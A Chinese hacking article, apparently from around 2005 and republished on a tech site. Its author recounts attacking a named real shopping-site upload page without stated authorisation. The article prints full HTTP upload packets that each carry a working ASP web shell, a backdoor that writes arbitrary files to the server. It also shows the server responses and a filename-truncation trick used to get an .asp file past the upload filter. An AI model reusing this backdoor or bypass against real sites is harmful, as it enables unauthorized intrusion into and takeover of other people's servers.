扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
下午5:52分,快吃晚饭了,这段时间里我比较喜欢给忙碌了一天的自己放短假,所以按照习惯就跑去几个常去的黑客站点看看文章,武汉的315安全网我还是比较喜欢的,东西比较多而且更新的也还算及时。
记得看过一次315安全网里的一位兄台做过一个他们服务器硬盘权限分配的动画,了解到是一台虚拟主机,用自己写的程序跑了跑,看看有没有什么可以利用的地方,发现了一个动感购物商城的上传页面,呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了个包试试看上传,包的结果如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp"
Content-Type: application/octet-stream
<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
--> .unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
>
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>
<% Response.write "本文件<font color=red>绝对路径:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6"><span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
开始上传
-----------------------------7d51863950254--
按照正常的手段改数据包先进行测试,提交结果返回为:
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private
<!--
┌─ o91.com───────────────┐
│ 动感购物商务平台WWW.SNSN.NET版权所有 │
│ 设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
--> ┌─ o91.com───────────────┐
│ 动感购物商务平台WWW.SNSN.NET版权所有 │
│ 设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
-->
<link href="css.css" rel="stylesheet" type="text/css">
<font face="宋体" size=2>
<p>ADODB.Stream</font> <font face="宋体" size=2>错误 '800a0bbc'</font>
<p>
<font face="宋体" size=2>写入文件失败。</font>
<p>
<font face="宋体" size=2>/upload_wj.inc</font><font face="宋体" size=2>,行 181<
/font>
从返回数据得知根目录限制了文件写入,那我们就换一个目录,将包里的上传路径改为bookpic/sys.asp,字节改为3314,提示如下:
HTTP/1.1 200 OK
Date: Mon, 18 Apr 2005 10:07:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 472
Content-Type: text/html
Cache-control: private
<!--
┌─ o91.com───────────────┐
│ 动感购物商务平台WWW.SNSN.NET版权所有 │
│ 设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
--> ┌─ o91.com───────────────┐
│ 动感购物商务平台WWW.SNSN.NET版权所有 │
│ 设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
-->
<link href="css.css" rel="stylesheet" type="text/css">
<script>window.opener.document.myform.bookpic.value='bookpic/sys.asp200541818754
95496.gif'</script>
<script language="javascript">
window.alert("文件上传成功!请不要修改生成的链接地址!");
window.close();
</script>
嘿嘿,文件上传成功,不过你别急,看清楚包的返回数据为bookpic/sys.asp20054181875495496.gif,打开这个文件来就是我们的后门文件代码了。都到这个地方了,传不上去有点不甘心,认真看看文件名bookpic/sys.asp20054181875495496.gif,怎么样?有点想法没有?呵呵……
我们的文件后缀.asp它还保留着呢,只不过在后面给我们加上了一段长长的字符串和gif后缀,让我们的asp文件变成了gif文件。因为我没有看过这套程序的上传文件代码,所以我就靠经验来改改这个后门的数据包,让它截断后面的部分。改动之后的数据包如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3316
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ
-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"
bookpic/wolf.asp
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"
jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"
bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"
myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"
uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif"
Content-Type: application/octet-stream
<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
--> .unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
>
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>
<% Response.write "本文件<font color=red>绝对路径:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6"><span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"
开始上传
-----------------------------7d51863950254--
整个包的大体并没变化,只需要将第一次修改的数据包里的G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.gif改为G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif,其余不变,再传一次。上传的窗口一闪就关闭了(因为我是用了个BAT来执行提交的),嘿嘿……虽然看不到返回结果,不过我知道这个时候数据已经被我截断了,文件也正常的变成了asp。再进后门看看,浏览器显示:
该页无法显示
您试图从目录中执行 CGI、ISAPI 或其他可执行程序,但该目录不允许执行程序。
--------------------------------------------------------------------------------
请尝试以下操作:
如果您认为该目录应该允许执行访问权限,请与网站管理员联系。
HTTP 错误 403.1 - 禁止访问:执行访问被拒绝。
Internet 信息服务 (IIS)
嘿嘿……有这个显示就说明OK了,可以上传ASP文件了,之后又换了换目录试试,都不允许写入文件^_^!。这个图片目录也不允许执行我们的后门。
毕竟是安全站点的主机,在目录限制和权限设置这方面做的还可以,要不一会就被人黑了可就羞大了^_^。到这里,我做的整个测试就结束了,不知道看完了大家有什么感想,虽然并没有拿到SHELL,其实我想突出讲的一点是文章中的思路,以及平时需要的是多积累经验,在应用的再多留心一点,那发现一点点小东西并不是特别的困难^_^。(文章看的不爽的别拿鸡蛋丢,我吃的怕了,拿钱咂我好了,我穷啊~~~)。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。